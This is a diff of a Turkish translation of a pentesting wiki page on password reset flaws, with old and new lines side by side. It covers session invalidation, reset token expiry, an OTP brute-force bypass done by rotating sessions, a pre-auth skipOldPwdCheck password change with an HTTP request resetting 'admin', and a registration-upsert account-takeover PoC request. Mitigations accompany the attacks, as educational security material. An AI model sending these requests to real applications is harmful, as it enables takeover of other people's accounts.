## **Session Invalidation in Logout/Password Reset** ## **Session Invalidation in Logout/Password Reset**
- Bir kullanıcı oturumu kapattığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olmak. - Bir kullanıcı çıkış yaptığında veya parolasını sıfırladığında oturumların geçersiz kılındığından emin olma.
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Oturum kapatma veya şifre sıfırlama sırasında tüm oturumların geçersiz kılınmasını sağlayacak doğru oturum yönetimini uygulayın. - Tüm oturumların çıkış veya parola sıfırlama sırasında geçersiz kılındığından emin olarak uygun oturum yönetimi uygulayın.
## **Session Invalidation in Logout/Password Reset** ## **Session Invalidation in Logout/Password Reset**
- Reset token'larının belirli bir süre sonu olmalı ve bu süreden sonra geçersiz olmalılar. - Reset tokenların geçersiz hale geldiği bir süre sonu olmalıdır.
- **Hafifletme Adımları**: - **Önleme Adımları**:
- Reset token'ları için makul bir süre sonu belirleyin ve bunu sunucu tarafında kesinlikle uygulayın. - Reset tokenları için makul bir süre sonu belirleyin ve bunu sunucu tarafında sıkı şekilde uygulayın.
## **OTP rate limit bypass by changing your session** ## **OTP rate limit bypass by changing your session**
- Eğer web sitesi yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 hane) OTP'yi etkin bir şekilde brute-force edebiliriz. - Site yanlış OTP denemelerini izlemek için kullanıcı oturumu kullanıyorsa ve OTP zayıfsa (<= 4 basamak) OTP'yi etkili şekilde bruteforce edebiliriz.
- **Sömürme**: - **istismar**:
- Sunucu tarafından engellendikten sonra sadece yeni bir session token isteyin. - Sunucu tarafından engellendikten sonra yeni bir session token isteyin.
- **Örnek** kodu, OTP'yi rastgele tahmin ederek bu hatayı sömüren (oturumu değiştirdiğinizde OTP de değişecektir, bu yüzden ardışık brute-force yapamayacağız!): - **Örnek** kodu bu hatayı rastgele OTP tahminiyle sömürüyor (oturumu değiştirdiğinizde OTP de değişir, bu yüzden sıralı brute-force yapamayız!):
``` python ``` python
# Authentication bypass by password reset # Authentication bypass by password reset
@ -233,9 +233,9 @@ print("[+] Attck stopped")
## Arbitrary password reset via skipOldPwdCheck (pre-auth) ## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Bazı uygulamalar, skipOldPwdCheck=true ile password-change rutinini çağıran ve herhangi bir reset token'ı veya sahipliği doğrulamayan bir password change eylemi açığa çıkarır. Eğer endpoint, request gövdesinde change_password gibi bir action parametresini ve bir username/yeni şifre kabul ediyorsa, bir saldırgan pre-auth olarak rastgele hesapları sıfırlayabilir. Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
Zafiyetli desen (PHP): Vulnerable pattern (PHP):
```php ```php
// hub/rpwd.php // hub/rpwd.php
RequestHandler::validateCSRFToken(); RequestHandler::validateCSRFToken();
@ -262,14 +262,27 @@ Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
``` ```
Önlemler: Mitigations:
- Parola değiştirmeden önce her zaman hesaba ve session'a bağlı, süreyle sınırlı geçerli bir reset token gerektirin. - Parola değişikliğinden önce, hesaba ve oturuma bağlı, geçerli ve zaman sınırlı bir reset tokenı her zaman talep edin.
- skipOldPwdCheck path'lerini kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın. - skipOldPwdCheck path'larını kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın.
- Parola değişikliğinden sonra tüm aktif session'ları ve reset token'ları geçersiz kılın. - Parola değişikliğinden sonra tüm aktif oturumları ve reset tokenlarını geçersiz kılın.
## Kaynaklar ## Kayıt-olarak-Parola-Sıfırlama (Upsert on Existing Email)
Bazı uygulamalar signup handler'ını upsert olarak uygular. Eğer e-posta zaten mevcutsa, handler isteği reddetmek yerine kullanıcı kaydını sessizce günceller. Registration endpoint'i mevcut bir e-posta ve yeni bir parolayı içeren minimal bir JSON body kabul ettiğinde, bu teknik olarak herhangi bir sahiplik doğrulaması olmadan pre-auth password reset'e dönüşür ve tam hesap ele geçirilmesine izin verir.
Pre-auth ATO PoC (mevcut bir kullanıcının şifresinin üzerine yazma):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## Referanslar
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}